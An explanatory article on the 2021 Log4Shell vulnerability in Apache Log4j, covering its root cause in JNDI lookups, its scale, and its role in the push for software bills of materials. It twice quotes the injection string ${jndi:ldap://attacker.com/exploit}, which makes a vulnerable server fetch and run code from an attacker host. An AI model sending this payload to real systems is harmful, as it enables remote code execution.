Log4j processed JNDI lookup strings embedded in log messages. An attacker could send ${jndi:ldap://attacker.com/exploit} in any logged field — a User-Agent header, a chat message, a search query — and the server would fetch and execute the attacker's code.
Described as one of the most severe vulnerabilities ever discovered. Accelerated the Software Bill of Materials (SBOM) movement. Many organizations discovered they couldn't even determine if they were affected because they didn't know their dependency trees.
The Incident
On December 9, 2021, a critical vulnerability in Apache Log4j — one of the most widely used Java logging libraries — was publicly disclosed. Designated CVE-2021-44228 and scored a perfect 10.0 on the CVSS severity scale, it allowed unauthenticated remote code execution on any server running a vulnerable version of Log4j.
The Root Cause
Log4j had a feature that performed JNDI (Java Naming and Directory Interface) lookups on strings that appeared in log messages. If a log message contained a string like ${jndi:ldap://attacker.com/exploit}, Log4j would parse it, connect to the attacker's LDAP server, download a Java class, and execute it — all while processing a log entry.
The attack surface was any input that was logged. A User-Agent header. A chat message. A search query. A username. An email subject line. If the application logged it using Log4j, and the string contained a JNDI lookup, the server was compromised.
The Scale
Log4j is embedded in hundreds of thousands of Java applications. Many organizations couldn't determine whether they were vulnerable because they didn't know their full dependency tree — Log4j was often a transitive dependency, included by a library included by a library included by the application. The incident became the strongest argument for Software Bills of Materials (SBOMs): you cannot patch what you don't know you're running.
Why It Matters
A logging library interpreted the data it was supposed to record. The most basic function of a log — write this string to a file — became a remote code execution vector because someone added a feature that evaluated the string before writing it. Log4Shell is the purest expression of a trust boundary violation: data crossed the line into code, and the logging library didn't know the difference.